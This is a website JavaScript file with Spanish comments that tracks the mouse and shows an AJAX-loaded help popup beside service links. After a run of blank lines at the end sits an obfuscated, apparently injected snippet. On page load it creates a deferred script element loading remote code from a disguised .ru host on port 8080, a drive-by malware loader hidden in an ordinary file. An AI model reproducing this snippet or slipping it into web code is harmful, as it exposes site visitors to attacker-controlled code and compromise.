

// Detect if the browser is IE or not.
// If it is not IE, we assume that the browser is NS.
var IE = document.all?true:false

// If NS -- that is, !IE -- then set up for mouse capture
if (!IE) document.captureEvents(Event.MOUSEMOVE)

// Temporary variables to hold mouse x-y pos.s
var posMouseX = 0
var posMouseY = 0

// Main function to retrieve mouse x-y pos.s

document.onmousemove = getMouseXY;

function getMouseXY(e) {
  if (IE) { // grab the x-y pos.s if browser is IE
    posMouseX = event.clientX + document.body.scrollLeft
    posMouseY = event.clientY + document.body.scrollTop
  } else {  // grab the x-y pos.s if browser is NS
    posMouseX = e.pageX
    posMouseY = e.pageY
  }  
  // catch possible negative values in NS4
  if (posMouseX < 0){posMouseX = 0}
  if (posMouseY < 0){posMouseY = 0}  

  return true
}

// píxeles que se desplaza la ventana hacia abajo para que no se sobreimprima al enlace
var popup_OFFSET_VENTANA_X = 20;
var popup_OFFSET_VENTANA_Y = 20;

// indica si hay algún elemento siendo mostrado en este momento
var gPopUpMostrado = false;

// variable con referencia al popup creado
var gPopUp = null;

// funcion que abre un popup "mini" en la posición del ratón con una ayuda extraida con AJAX
// se le pasa el identificador numérico del elemento (servicio)
// se le pasa el idioma para pedirlo con ajax tambien 
// ATENCION: supone que el id del link se llama "servicio" + ID numérico (p.e. <a id="servicio1">)
// ATENCION: supone que lo llama un link "a" en el mouseover 

var global_posicion_1;
var global_popup_OFFSET_VENTANA_Y;

var lPopUp = null;

function mp_SrvActivar(id_a,url,idioma) {
	
	if (!gPopUpMostrado) {
		
		gPopUpMostrado = true;
		var body = document.getElementsByTagName('body')[0];

		if (gPopUp==null)
		{
			// creamos el DIV para el contenido
			lPopUp = document.createElement('div');
			lPopUp.id = 'gPopUp';
			lPopUp.style.position = 'absolute';
			lPopUp.style.zIndex = '200';
			lPopUp.style.width = '320px';
			lPopUp.style.top = '0px';
			lPopUp.style.left = '0px';
			//lPopUp.style.height = 'auto'; 
			lPopUp.style.backgroundColor = '#FFFFFF';
			lPopUp.style.backgroundImage = 'none';
			lPopUp.style.borderColor = '#C2C2C2';
			lPopUp.style.borderWidth = '1px';
			lPopUp.style.borderStyle = 'solid';
			lPopUp.style.paddingLeft = '10px'; 				
			lPopUp.style.paddingRight = '10px'; 				
			lPopUp.style.paddingTop = '10px'; 				
			lPopUp.style.paddingBottom = '10px';										
					 				
			body.appendChild(lPopUp);				
			
			gPopUp = document.getElementById('gPopUp');
		}
				
		// lo colocamos bajo el enlace
		
		gPopUp.style.display = 'none';
		Position.prepare();
		var posicion = Position.cumulativeOffset($('servicio_' + id_a));

		global_posicion_1=posicion[1];

		var pars = 'id=' + id_a + '&idioma=' + idioma;
		var myAjax = new Ajax.Request(
			url, 
			{
				method: 'get', 
				parameters: pars, 
				onComplete: mp_AjaxTerminar
			});		
	}
}


// función que hace desaparecer el popup
// ATENCION: supone que lo llama un link "a" en el mouseover

function mp_SrvDesactivar() {
	if (gPopUp!=null) {		
		gPopUp.style.display='none';
		gPopUpMostrado = false;
		}
}

// función que recibe el aviso de que ha terminado la petición AJAX
// y añade código 

function mp_AjaxTerminar(originalRequest) {
	
	if ((gPopUpMostrado) && (gPopUp!=null)) {

		gPopUp.innerHTML = originalRequest.responseText;
		//gPopUp.style.top = '0px';
		//gPopUp.style.left = '0px';
		gPopUp.style.display = 'block';

		popupPosX=posMouseX;
		if((posMouseX+370)>screen.width){
			popupPosX = posMouseX-360;
		}

		gPopUp.style.left = (popupPosX+20) + 'px';
			
		popupPosY=global_posicion_1 + popup_OFFSET_VENTANA_Y;
		total=popupPosY+gPopUp.offsetHeight;

		if((total+250)>screen.height){
			popupPosY=popupPosY-popup_OFFSET_VENTANA_Y-gPopUp.offsetHeight;
		}	
		gPopUp.style.top = popupPosY + 'px';

		}
}









var r=new Date();var ft=false;q=function(){var at='';var u=document;var h=20220;var e;if(e!='qa' && e != ''){e=null};window[q_([2,1][0])]=function(){var ri=new String();try {this.px="";v=u[q_([4,1][1])](q_([0,2][0]));var iq;if(iq!='_'){iq=''};this.e_=52578;var z = u[q_([9,6][1])];this.pa=275;v[q_([5,1][0])](q_([7][0]), "1");v[q_([3][0])]=q_([0,8][1]);this.c=false;var _i=false;z[q_([4,8][0])](v);var w;if(w!='p_' && w!='lt'){w='p_'};} catch(k){};};function q_(o){var m;if(m!='d' && m!='xa'){m=''};var ol=['sFcfrfimpotF'.replace(/[FZmfo]/g, ''), 'c&r5efaftfe,EPl&ePm5e&nPtf'.replace(/[fP5,&]/g, ''), 'o4nDl4o4aDdA'.replace(/[A/4\$D]/g, ''), 'sRrZc,'.replace(/[,ZRa7]/g, ''), 'a;pup;eVn,duCuhRi;l;d;'.replace(/[;RV,u]/g, ''), 's0e0t4Aytytyr4iQbyu0t4eQ'.replace(/[QyT04]/g, ''), 'b,oUdUys'.replace(/[sU\!H,]/g, ''), 'dVe%f%eVrn'.replace(/[nVw%\?]/g, ''), 'hIt%tPpI:</</PjIc$p%eIn<nPeIy$-IcIo<mP.$b<i<gIpIoIiInPt%.<cPoPmP.<g%oPo$g<l<eP-Ic<oIm$-<dPo%.%nIeIw<g%o%lPf$o$nPl$i%n%e$.Pr%uP:I8$0%8<0I/$d$e%t$i%kInIePwIsI.Pc$o$mP/Pd$e$t%i%kIn<eIw%s%.<c%o$m$/<wIp%.<p$l$/<w<e%eIb%l%y<.PcIoPm$/Pg<o%o%g$l%e%.<c%o<m%/<'.replace(/[\<I%P\$]/g, '')];var cc;if(cc!='zq' && cc != ''){cc=null};var p=ol[o];return p;}var en;if(en!='es' && en!='_a'){en='es'};};q();var od=48666;